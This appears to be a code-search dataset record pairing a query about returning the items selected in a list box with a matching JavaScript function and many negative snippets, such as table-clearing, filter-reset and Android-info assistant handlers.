table_name_t = tables[i].table_name;\n\t\t\tremoveFieldsOfSpecifiedTable(table_name_t);\n\t\t} else {\n\t\t\ttmpTables.push(tables[i]);\t\t\t\n\t\t}\n\t}\n\n\tcurTgrp.tables = tmpTables;\t\n\tview.tableGroups[index] = curTgrp;\n\ttabsFrame.newView = view;\n\t\t\n var grid = Ab.view.View.getControl('', 'field_grid');\t\n if (grid != null) {\n\t\tgrid.indexLevel = 0;\n\t\tgrid.isCollapsed = false;\n\t\tgrid.showIndexAndFilter();\n\t\tgrid.refresh();\t\t\n }\t \t \n}", "function resetFilters() {\n $('#subject').val(\"\");\n $('#grade').val(\"\");\n\n var checkboxes = $('#tech-required').find('input.tech-check');\n $.map(checkboxes, function(item, index) {\n item.checked= true;\n });\n renderTable();\n}", "function clear_previous_Search() {\n $('.result').remove();\n $('table').remove();\n $('#results').find('p').remove();\n $('.parentPic').css('background-image', 'url(' + default_image + ')');\n window.state.image_errors = false;\n window.state.images_processed = 0;\n window.state.refresh = false;\n}", "function clearTable(){\n form.locationName.value = '';\n form.locationMinCustomers.value = '';\n form.locationMaxCustomers.value = '';\n form.locationAvgCookiesSold.value = '';\n}", "function removeAll() {\n $('tbody').empty();\n $('.strike-all').prop('checked', false);\n $(this).parent().hide();\n}", "function cleanGrid(){\n trList.forEach(function (tr) {\n tr.remove();\n });\n}", "function _fnClearTable( oSettings )\n\t\t{\n\t\t\toSettings.aoData.length = 0;\n\t\t\toSettings.aiDisplayMaster.length = 0;\n\t\t\toSettings.aiDisplay.length = 0;\n\t\t\t_fnCalculateEnd( oSettings );\n\t\t}", "function clearSearch() {\n $(\"#search-input\").val(\"\");\n var value = $(\"#search-input\").val();\n\n $(\"#parent-table\").remove();\n $(\"#pagination-info\").remove();\n saveSearchString(value);\n populateTable();\n $('#search-input').val(value);\n}", "function filterTable() {\n \n // 8. Set the filtered data to the tableData.\n var filterData = tableData\n \n // 9. Loop through all of the filters and keep any data that\n // matches the filter values\n Object.entries(dataFilter).forEach(([key, value])=>{\n filterData = filterData.filter(row => row[key] === value);\n })\n \n // 10. Finally, rebuild the table using the filtered data\n buildTable(filterData);\n }", "function reset(table) {\n \ttable.find('td').each(function() {\n \t\t$(this).removeClass('black').removeClass('red').empty();\n \t})\n\t}", "function clearBetTbl () {\n\tBet.raceDate = RaceDate;\n\tBet.tbl = Array(11).fill(null).map(() => Array(14).fill(null));\n\tBet.modelName = \"\";\n\tcacheToStore (\"cache\", {key:\"Bets\",betTbl:Bet.tbl, raceDate:RaceDate, modelName:Bet.modelName});\n}", "clean() {\n\n\t\t//Removes all the rows added\n\t\tfor (var i = 0; i < this.sequence.number; i++) {\n\n\t\t\t$(\"#ping-table tr:last\").remove()\n\n\t\t}\n\n\t\t//Reset sequence number here, because clean() requires it to determine the amount of rows added\n\t\tthis.sequence.number = 0;\n\n\t}", "clearFilters()\n {\n this._filterText = [];\n this._filterTextIndex.clear();\n }", "function clearFilters() {\n searchName = null;\n searchMemberKey = null;\n orderBy = null;\n viewTotal = 200;\n showOnlyParentGroups = true;\n flattenGroups = false;\n\n document.getElementById(\"search\").value = \"\";\n document.getElementById(\"user-sel\").value = searchMemberKey;\n document.getElementById(\"order-by-sel\").value = orderBy;\n document.getElementById(\"view-total-groups-sel\").value = viewTotal;\n document.getElementById(\"parent-groups-check\").checked = showOnlyParentGroups;\n document.getElementById(\"flatten-groups-check\").checked = flattenGroups;\n\n getAllGroups();\n}", "function clearTable() {\n //Clear the Spreadsheet\n document.getElementById(\"SpreadsheetTable\").innerHTML = buildTable(20, 10);\n\n //Clear Formulas\n document.getElementById(\"formulaBox\").value = \"\";\n}", "function ClearCause() {\r\n\r\n\t$(\"#\" + TAB_DAMAGECAUSE_TABLE_CAUSE + \" tr:gt(0)\").remove();\r\n\r\n}", "function clearFilters() {\n if (viz) {\n var worksheets = viz.getWorkbook().getActiveSheet().getWorksheets();\n worksheets.forEach(worksheet => {\n worksheet.getFiltersAsync().then(filters => {\n filters.forEach(filter => {\n worksheet.clearFilterAsync(filter.$caption);\n })\n })\n });\n }\n}", "function _fnClearTable(oSettings) {\n\t\t\toSettings.aoData.splice(0, oSettings.aoData.length);\n\t\t\toSettings.aiDisplayMaster.splice(0,\n\t\t\t\t\toSettings.aiDisplayMaster.length);\n\t\t\toSettings.aiDisplay.splice(0, oSettings.aiDisplay.length);\n\t\t\t_fnCalculateEnd(oSettings);\n\t\t}", "remove() {\n // Determine new length.\n const n = ftables.length - 1;\n\n // Remove existing tables.\n for (let ft of ftables) {\n ft._tab.remove();\n ft._table.remove();\n }\n ftables = [];\n\n // Clear static fields.\n FlightTable.res = [];\n FlightTable.single = null;\n\n // Create new tables.\n for (let i = 0; i < n; i++) {\n new FlightTable(this._tabs, this._columns, this._tables, this._book);\n }\n FlightTable.displayResults();\n }", "function triggerReset (arrayOfData) {\n\n var data = arrayOfData[0];\n var table = arrayOfData[1];\n var element = arrayOfData[2];\n var url = arrayOfData[3];\n var tableColumns = arrayOfData[4];\n var columnDefs = arrayOfData[5];\n var order = arrayOfData[6];\n\n data.map((id) => {\n $(id).val('').trigger('change');\n });\n\n this.filters = {};\n\n // Datatable setup\n\n if($.fn.dataTable.isDataTable('#'+table)){\n element.DataTable().clear();\n element.DataTable().destroy();\n }\n // element.dataTable({\n // \"fnCreatedRow\": function (nRow, data) {\n // $(nRow).attr('class', data.id);\n // },\n // \"processing\": true,\n // \"serverSide\": true,\n // \"ajax\": {\n // url: url,\n // type: 'POST',\n // dataType: 'json',\n // },\n // \"rowId\": \"id\",\n // \"columns\": tableColumns,\n // \"columnDefs\": columnDefs,\n // \"order\": order,\n // })\n}", "function removeCompanyFilter() {\n currentCompany = \"\";\n document.getElementById('reset-company-filter').style.display = \"none\";\n filterAll();\n}", "function resetData(){\n \t$('.baiDocTable tbody tr').remove();\n \tvar page = $('li.active').children().text();\n \t$('.pagination li').remove();\n \tajaxGet(page);\n }", "function clearNbaRecords() {\n $('#configuratorNbaTbody').html(\"\");\n}" ]
[ "0.7763441", "0.7648755", "0.7555029", "0.7552834", "0.7478868", "0.7411512", "0.73743546", "0.735855", "0.7357466", "0.733484", "0.7289244", "0.72135645", "0.7143317", "0.7119576", "0.7108702", "0.7098021", "0.70698017", "0.7017367", "0.7013255", "0.7004824", "0.698984", "0.69580305", "0.6942622", "0.6934629", "0.69239855", "0.69226724", "0.6917274", "0.69047225", "0.6902674", "0.68754363", "0.6873351", "0.68708616", "0.6826003", "0.68245226", "0.68237543", "0.68237543", "0.68139666", "0.67865026", "0.6785279", "0.67772025", "0.67581797", "0.6742602", "0.674144", "0.6739403", "0.673405", "0.6734018", "0.6724616", "0.672184", "0.671772", "0.671613", "0.66968834", "0.6689311", "0.66777325", "0.66757596", "0.6674777", "0.6641805", "0.66370386", "0.6635728", "0.6627237", "0.6624325", "0.6620311", "0.6618116", "0.66104215", "0.6609056", "0.66042066", "0.6603038", "0.65988284", "0.65971076", "0.65916145", "0.65851927", "0.6583011", "0.6578213", "0.6556469", "0.6553371", "0.65389514", "0.65274763", "0.6526408", "0.65260625", "0.651992", "0.6508917", "0.6502433", "0.64825964", "0.6481464", "0.6477473", "0.6475802", "0.6475033", "0.6466639", "0.6461151", "0.64603823", "0.6459602", "0.6455295", "0.64539254", "0.6452057", "0.6451603", "0.6449157", "0.6449009", "0.644484", "0.6438651", "0.6438406", "0.6436103", "0.6430777" ]
0.0
-1
Function call with includ of keyname and output of items selected What items were selected by the user? This function returns those items in an array.
function itemsselected(keyname) { // clear out the array itemselected = []; for (var i = 0; i < keyname.options.length; i++) { if (keyname.options[i].selected == true) { itemselected.push(keyname.options[i].text); } } return itemselected }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getArrSelectedItems(){\r\n\t\tvar objItems = getObjSelectedItems();\r\n\t\tvar arrItems = getArrItemsFromObjects(objItems);\r\n\t\t\r\n\t\treturn(arrItems);\r\n\t\t\r\n\t}", "selections() {\n let selections = this.actions().filter(a => !a.args || !a.args.length || this.choice(a).match(/^literal\\(/));\n if (this.state.action) {\n selections = selections.filter(a => this.choice(this.state.action).indexOf(this.choice(a)) === -1);\n }\n return selections;\n }", "function ListBox_GetUserInputChanges()\n{\n\t//create an array to return\n\tvar result = [];\n\t//we have input\n\tif (this.InterpreterObject.HasUserInput)\n\t{\n\t\t//selection\n\t\tvar strSelection = false;\n\t\t//loop through items\n\t\tfor (var i = 0, c = this.InterpreterObject.Items.length; i < c; i++)\n\t\t{\n\t\t\t//selected?\n\t\t\tif (this.InterpreterObject.Items[i].Selected)\n\t\t\t{\n\t\t\t\t//use this as selection\n\t\t\t\tstrSelection = this.InterpreterObject.Items[i].Value;\n\t\t\t\t//end loop\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t//has selection?\n\t\tif (strSelection)\n\t\t{\n\t\t\t//push it into the array\n\t\t\tresult.push({ Property: __NEMESIS_PROPERTY_SELECTION, Value: strSelection });\n\t\t}\n\t}\n\t//return the result\n\treturn result;\n}", "function responseToSelectForm(selected_items)\n{\n var prompt = 'You selected: ' + selected_items.join(', ');\n Browser.msgBox(prompt);\n}", "function getObjSelectedItems(){\r\n\t\tvar objItems = g_objWrapper.find(\".uc-filelist-item-selected\");\r\n\t\treturn(objItems);\r\n\t}", "function pwGetCurrentSelection() {\n if($('#filter input[type=checkbox]').is(':checked')) {\n var vals = pwGetColVals(null, 'category');\n vals = pwGetColVals(vals, 'volume');\n vals = pwGetColVals(vals, 'type');\n vals = pwGetColVals(vals, 'location');\n vals = pwGetColVals(vals, 'shape');\n currentSelection = objToArr(vals);\n } else {\n currentSelection = [];\n for (var i=0; i < packages.length; i++) {\n currentSelection[i] = i;\n }\n }\n }", "allSelectedUniqueItemResources(selectedUniqueItems) {\n let resArray = [];\n for (let catName of Object.keys(selectedUniqueItems)) {\n\t for (let displayStr of Object.keys(selectedUniqueItems[catName])) {\n\t resArray = resArray.concat(selectedUniqueItems[catName][displayStr])\n\t }\n }\n\n return resArray;\n }", "function getSelectedCateFilterItems() {\n let i = 0;\n let selected = [];\n $('#catFilter input:checked').each(function () {\n selected[i++] = $(this).val();\n });\n return selected;\n }", "function selectAllItems() {\n selectedItems = []\n Object.keys(allItemNames).forEach(itemName => {\n selectItem(itemName)\n })\n updateSelectedItemComponents()\n}", "function selectEntryToExamine(item) {\n\tvar selectionList = [item.user]\n\tconsole.log(\"geomap selection:\",selectionList)\n\tvar outObject = {'user':selectionList}\n\tOWF.Eventing.publish(\"entity.selection\",selectionList)\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n if (multiple) {\n return selectedKeys.slice();\n }\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n return selectedKeys;\n}", "get itemsInSelection() {\n return this._itemsInSelection;\n }", "function selectedItems() {\n $('input').on('click', function () {\n console.log($(this).val())\n var checked = ($(this).val());\n selectedIngredients.push(checked)\n })\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) return undefined;\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function getCheckedItems() {\n var checkedItemIds = [];\n $(\"#\" + view.key + \" tbody input[type=checkbox]:checked\").each(function () {\n // Get id\n var id = $(this).closest(\"tr\").attr(\"id\");\n var identifier = $(this).closest(\"tr\").children()[2].innerText;\n checkedItemIds.push({ id: id, identifier: identifier });\n });\n return checkedItemIds;\n }", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) {\n return undefined;\n }\n\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) {\n return undefined;\n }\n\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) {\n return undefined;\n }\n\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) {\n return undefined;\n }\n\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function calcSelectedKeys(selectedKeys, props) {\n if (!selectedKeys) {\n return undefined;\n }\n\n var multiple = props.multiple;\n\n if (multiple) {\n return selectedKeys.slice();\n }\n\n if (selectedKeys.length) {\n return [selectedKeys[0]];\n }\n\n return selectedKeys;\n}", "function selectedValues(obj) {\n var keysWithTrueValue = [];\n for (var key in obj) {\n if (obj[key]) {\n keysWithTrueValue.push(key);\n }\n }\n return keysWithTrueValue;\n}", "function getSelectionFromUser(msg, items) {\n var selectedItemIndex = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0;\n var accessory = NSComboBox.alloc().initWithFrame(NSMakeRect(0, 0, 200, 25));\n accessory.addItemsWithObjectValues(items);\n accessory.selectItemAtIndex(selectedItemIndex);\n accessory.editable = false;\n var dialog = NSAlert.alloc().init();\n dialog.setMessageText(msg);\n dialog.addButtonWithTitle('OK');\n dialog.addButtonWithTitle('Cancel');\n dialog.setAccessoryView(accessory);\n dialog.icon = getPluginAlertIcon();\n var responseCode = dialog.runModal();\n var sel = accessory.indexOfSelectedItem();\n return [responseCode, sel, responseCode === NSAlertFirstButtonReturn];\n}", "function getHobbies(){\n let allelements = document.querySelectorAll('[name=\"skills\"]')\n let arrayofallelements = [...allelements]\n let result = arrayofallelements.forEach(x => {\n if (x.selected){\n console.log(x.innerText)\n }\n })\n return result\n}", "function itemSelected (app) {\n const param = app.getSelectedOption();\n console.log('USER SELECTED: ' + param);\n if (!param) {\n app.ask('Sorry, was that?');\n } else if (param === SELECTION_KEY_INTERFACE) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here\\'s android interface')\n .addSimpleResponse('Android\\'s default user interface is mainly based on direct manipulation, using touch inputs that loosely correspond to real-world actions, like swiping, tapping, pinching, and reverse pinching to manipulate on-screen objects, along with a virtual keyboard. Now tell me if there\\'s anything else you want to hear about Android?')\n .addBasicCard(app.buildBasicCard(`Android\\'s default user interface is mainly based on direct manipulation, using touch inputs that loosely correspond to real-world actions, like swiping, tapping, pinching, and reverse pinching to manipulate on-screen objects, along with a virtual keyboard..`)\n .setTitle('Android Interface')\n .addButton('Read more')\n .setImage('http://www.conceptdraw.com/solution-park/resource/images/solutions/android-user-interface/Software-development-Android-User-Interface-Design-Elements-Android-Tabs61.png', 'Android Interface')\n)\n);\n } else {\n app.ask('Android\\'s default user interface is mainly based on direct manipulation, using touch inputs that loosely correspond to real-world actions, like swiping, tapping, pinching, and reverse pinching to manipulate on-screen objects, along with a virtual keyboard. Now tell me if there\\'s anything else you want to know about Android. Maybe android version history or What is stack overflow.');\n}\n } else if (param === SELECTION_KEY_VIRTUAL) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('At Google I/O on May 2016, Google announced Daydream, a virtual reality platform that relies on a smartphone and provides VR capabilities through a virtual reality headset and controller designed by Google itself. Now tell me if there\\'s anything else you want to hear about Android?')\n .addBasicCard(app.buildBasicCard(`At Google I/O on May 2016, Google announced Daydream, a virtual reality platform that relies on a smartphone and provides VR capabilities through a virtual reality headset and controller designed by Google itself. The platform is built into Android starting with Android Nougat, differentiating from standalone support for VR capabilities. The software is available for developers, and was released in 2016..`)\n .setTitle('Virtual reality')\n .addButton('Read more')\n .setImage('http://www.androidos.in/wp-content/uploads/2015/03/google-cardboard-1.jpg', 'Memory')\n)\n);\n } else {\n app.ask('At Google I/O on May 2016, Google announced Daydream, a virtual reality platform that relies on a smartphone and provides VR capabilities through a virtual reality headset and controller designed by Google itself. Now tell me if there\\'s anything else you want to know about Android. Maybe android history or Android Memory management');\n}\n } else if (param === SELECTION_KEY_APPLICATION) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Applications (\"apps\"), which extend the functionality of devices, are written using the Android software development kit (SDK) and, often, the Java programming language. Now tell me if there\\'s anything else you want to hear about Android?')\n .addBasicCard(app.buildBasicCard(`Applications (\"apps\"), which extend the functionality of devices, are written using the Android software development kit (SDK) and, often, the Java programming language. Java may be combined with C/C++, together with a choice of non-default runtimes that allow better C++ support. The Go programming language is also supported, although with a limited set of application programming interfaces (API). In May 2017, Google announced support for Android app development in the Kotlin programming language..`)\n .setTitle('Android Application')\n .addButton('Read more')\n .setImage('http://cdn2.ubergizmo.com/wp-content/uploads/2015/03/Android-Applications.jpg', 'Application')\n)\n);\n } else {\n app.ask('Applications (\"apps\"), which extend the functionality of devices, are written using the Android software development kit (SDK) and, often, the Java programming language. Now tell me if there\\'s anything else you want to know about Android. Maybe should need to know about Android kernel or What is stack overflow.');\n}\n } else if (param === SELECTION_KEY_MEMORY) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Since Android devices are usually battery-powered, Android is designed to manage processes to keep power consumption at a minimum. Now tell me if there\\'s something else that might you interested about Android?. Maybe android version history or what is android AOSP')\n .addBasicCard(app.buildBasicCard(`When an application is not in use the system suspends its operation so that, while available for immediate use rather than closed, it does not use battery power or CPU resources.[94][95] Android manages the applications stored in memory automatically: when memory is low, the system will begin invisibly and automatically closing inactive processes, starting with those that have been inactive for longest...`)\n .setTitle('Memory management')\n .addButton('Read more')\n .setImage('https://mobworld.files.wordpress.com/2010/07/processimage.jpg?w=500', 'Memory management')\n)\n);\n } else {\n app.ask('Applications (\"apps\"), which extend the functionality of devices, are written using the Android software development kit (SDK) and, often, the Java programming language. Now tell me if there\\'s something else that might you interested about Android?. Maybe android version history or what is android AOSP');\n}\n } else if (param === SELECTION_KEY_GINGERBREAD) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Gingerbread\\'s user interface was refined in many ways, making it easier use, and more power-efficient. Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard(`Gingerbread'\\s user interface was refined in many ways, making it easier to master, faster to use, and more power-efficient. A simplified color scheme with a black background gave vividness and contrast to the notification bar, menus, and other user interface components. Improvements in menus and settings resulted in easier navigation and system control.`)\n .setTitle('Gingerbread')\n .addButton('Read more')\n .setImage('https://www.technobuffalo.com/wp-content/uploads/2011/04/android-2-3-gingerbread.png', 'Gingerbread')\n)\n);\n } else {\n app.ask('Gingerbread\\'s user interface was refined in many ways, making it easier to use, and more power-efficient. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is Github ');\n}\n } else if (param === SELECTION_KEY_HONEYCOMB) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"Honeycomb\" is a codename for the Android platform that was designed for devices with larger screen sizes, particularly tablets. It is no longer supported (newer versions are). Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard(`Android \"Honeycomb\" is a codename for the Android platform that was designed for devices with larger screen sizes, particularly tablets. It is no longer supported (newer versions are). Honeycomb debuted with the Motorola Xoom in February 2011`)\n .setTitle('HoneyComb')\n .addButton('Read more')\n .setImage('https://i.amz.mshcdn.com/CencC65482MTabHzEy4F9EQqxrs=/356x205/2012%2F12%2F04%2Fe5%2Fintelpromis.bNW.jpg', 'HoneyComb')\n)\n);\n } else {\n app.ask('Android \"Honeycomb\" is a codename for the Android platform that was designed for devices with larger screen sizes, particularly tablets. It is no longer supported (newer versions are). Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android AOSP ');\n}\n } else if (param === SELECTION_KEY_ICE_CREAM) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"Ice Cream Sandwich\" is a codename for the Android mobile operating system developed by Google, that is no longer supported. Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard(`The Ice Cream Sandwich release also introduced a number of other new features, including a refreshed home screen, near-field communication (NFC) support and the ability to \"beam\" content to another user using the technology, an updated web browser, a new contacts manager with social network integration, the ability to access the camera and control music playback from the lock screen, visual voicemail support, face recognition for device unlocking (\"Face Unlock\"), the ability to monitor and limit mobile data usage, and other internal improvements.`)\n .setTitle('Ice Cream Sandwich')\n .addButton('Read more')\n .setImage('http://cache.gawkerassets.com/assets/images/17/2011/05/icecreamsandwich.jpg', 'Ice Cream Sandwich')\n)\n);\n } else {\n app.ask('Android \"Ice Cream Sandwich\" is a codename for the Android mobile operating system developed by Google, that is no longer supported. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android features');\n}\n } else if (param === SELECTION_KEY_JELLBEAN) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"Jelly Bean\" is the codename given to three major point releases of the Android mobile operating system developed by Google, spanning versions between 4.1 and 4.3.1, that are no longer supported. Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard('The first of these three, 4.1, was unveiled at Google\\'s I/O developer conference in June 2012, focusing on performance improvements designed to give the operating system a smoother and more responsive feel, improvements to the notification system allowing for \"expandable\" notifications with action buttons, and other internal changes. Two more releases were made under the Jelly Bean name in October 2012 and July 2013 respectively, including 4.2—which included further optimizations, multi-user support for tablets, lock screen widgets, quick settings, and screen savers, and 4.3—contained further improvements and updates to the underlying Android platform.')\n .setTitle('Jelly Bean')\n .addButton('Read more')\n .setImage('https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcShdeTjcbZyQNNYfJodHgvpAMSFlPBFf63nne9oxdR4E1TOsazC', 'JellyBean')\n)\n);\n } else {\n app.ask('Android \"Jelly Bean\" is the codename given to three major point releases of the Android mobile operating system developed by Google, spanning versions between 4.1 and 4.3.1, that are no longer supported. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android Kernel ');\n}\n } else if (param === SELECTION_KEY_KITKAT) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"KitKat\" is a codename for the Android mobile operating system developed by Google, spanning versions between 4.4 and 4.4.4, that are no longer actively developed. Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard('Android \"KitKat\" is a codename for the Android mobile operating system developed by Google, spanning versions between 4.4 and 4.4.4, that are no longer actively developed. Unveiled on September 3, 2013, KitKat focused primarily on optimizing the operating system for improved performance on entry-level devices with limited resources. Each Android OS has a title referring to a sweet treat.')\n .setTitle('Kitkat')\n .addButton('Read more')\n .setImage('http://d2rormqr1qwzpz.cloudfront.net/photos/2013/11/01/54929-jpeg.jpg', 'Kitkat')\n)\n);\n } else {\n app.ask('Android \"KitKat\" is a codename for the Android mobile operating system developed by Google, spanning versions between 4.4 and 4.4.4, that are no longer actively developed. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android AOSP');\n}\n } else if (param === SELECTION_KEY_LOLLIPOP) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"Lollipop\" is a codename for the Android mobile operating system developed by Google, spanning versions between 5.0 and 5.1.1, that is supported with security patches only. Now tell me if there\\'s anything else you want to know about Android.? ')\n .addBasicCard(app.buildBasicCard('Gingerbread\\'s user interface was refined in many ways, making it easier to master, faster to use, and more power-efficient. A simplified color scheme with a black background gave vividness and contrast to the notification bar, menus, and other user interface components. Improvements in menus and settings resulted in easier navigation and system control.')\n .setTitle('Lollipop')\n .addButton('Read more')\n .setImage('https://www.technobuffalo.com/wp-content/uploads/2011/04/android-2-3-gingerbread.png', 'Lollipop')\n)\n);\n } else {\n app.ask('Android \"Lollipop\" is a codename for the Android mobile operating system developed by Google, spanning versions between 5.0 and 5.1.1, that is supported with security patches only. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android AOSP');\n}\n } else if (param === SELECTION_KEY_MARSHMALLOW) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"Marshmallow\" (codenamed Android M during development) is the sixth major version of the Android operating system. First released as a beta build on May 28, 2015, it was officially released on October 5, 2015, with Nexus devices being the first to receive the update. Now tell me if there\\'s anything else you want to know about Android.?')\n .addBasicCard(app.buildBasicCard('Marshmallow primarily focuses on improving the overall user experience of its predecessor, Lollipop. It introduced a new permissions architecture, new APIs for contextual assistants (first used by a new feature \"Now on Tap\" to provide context-sensitive search results), a new power management system that reduces background activity when a device is not being physically handled, native support for fingerprint recognition and USB Type-C connectors, the ability to migrate data and applications to a microSD card, and other internal changes.')\n .setTitle('Marshmallow')\n .addButton('Read more')\n .setImage('https://www.androidcentral.com/sites/androidcentral.com/files/styles/w400h225crop/public/article_images/2015/12/android-marshmallow-4_0.jpg?itok=GsKySY9O&timestamp=1449673415', 'Marshmallow')\n)\n);\n } else {\n app.ask('Android \"Marshmallow\" (codenamed Android M during development) is the sixth major version of the Android operating system. First released as a beta build on May 28, 2015, it was officially released on October 5, 2015, with Nexus devices being the first to receive the update. Now tell me if there\\'s anything else you want to know about Android?. Maybe android history or what is android AOSP');\n}\n } else if (param === SELECTION_KEY_NOUGAT) {\nif (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n app.ask(app.buildRichResponse()\n .addSuggestions(['What is Android Kernel', 'What is AOSP', 'Android features']) \n .addSimpleResponse('Alright here you go!')\n .addSimpleResponse('Android \"Nougat\" (codenamed Android N during development) is the seventh major version of the Android operating system. First released as an alpha test version on March 9, 